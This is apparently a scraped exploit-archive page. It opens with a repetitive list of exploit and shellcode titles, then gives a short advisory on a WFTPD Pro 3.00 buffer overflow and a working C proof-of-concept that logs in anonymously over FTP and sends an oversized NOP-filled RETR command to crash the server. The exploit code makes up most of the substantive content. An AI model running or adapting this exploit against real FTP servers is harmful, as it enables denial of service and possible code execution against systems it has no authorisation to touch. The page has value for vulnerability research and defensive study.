
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
54 lines
No EOL
2.2 KiB
C
54 lines
No EOL
2.2 KiB
C
// source: https://www.securityfocus.com/bid/2644/info
|
|
|
|
Invalid long strings submitted using either 'RETR' or 'CWD' commands to a host running WFTPD server, will result in the service terminating due to a buffer overflow. It may be possible for an attacker to execute arbitrary code through this vulnerability.
|
|
|
|
A restart of the server is required in order to gain normal functionality.
|
|
|
|
This vulnerability has been reported to exist on systems running Windows NT 4.0 with either SP3, SP4, or SP6 installed.
|
|
|
|
The problem exists due to the interaction between WFTPD.EXE and the Windows function call 'NTDLL.DLL:RtlFreeHeap()'.
|
|
|
|
/* WFTPD Pro 3.00 R4 Buffer Overflow exploit
|
|
written by Len Budney
|
|
*/
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <errno.h>
|
|
|
|
#define BUFSIZE 32774
|
|
#define CMD "RETR " /* Alt: use "CWD " and set OFFSET to 4. */
|
|
#define OFFSET 5
|
|
void main(){
|
|
int sockfd, s;
|
|
struct sockaddr_in victim;
|
|
char buffer[BUFSIZE];
|
|
char exploitbuffer[BUFSIZE]={CMD};
|
|
char recvbuffer[BUFSIZE];
|
|
|
|
sockfd=socket(AF_INET,SOCK_STREAM,0); if(sockfd == -1)perror("socket");
|
|
victim.sin_family=AF_INET;
|
|
victim.sin_addr.s_addr=inet_addr("192.168.197.129");
|
|
victim.sin_port=htons(21);
|
|
s=connect(sockfd, (struct sockaddr*) &victim, sizeof(victim));
|
|
if(s == -1) perror("connect");
|
|
|
|
recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
|
|
memset(recvbuffer, '\0',sizeof(recvbuffer));
|
|
send(sockfd, "USER anonymous\r\n",strlen ("USER anonymous\r\n"),0);
|
|
recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
|
|
memset(recvbuffer, '\0',sizeof(recvbuffer));
|
|
send(sockfd, "PASS\r\n",strlen ("PASS\r\n"),0);
|
|
recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
|
|
memset(recvbuffer, '\0',sizeof(recvbuffer));
|
|
|
|
memset(exploitbuffer+OFFSET,0x90,sizeof (exploitbuffer)-OFFSET-2);
|
|
sprintf(buffer,"%s\r\n",exploitbuffer);
|
|
send(sockfd, buffer , sizeof(buffer),0);
|
|
recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
|
|
|
|
close(sockfd);
|
|
_exit(0);
|
|
} |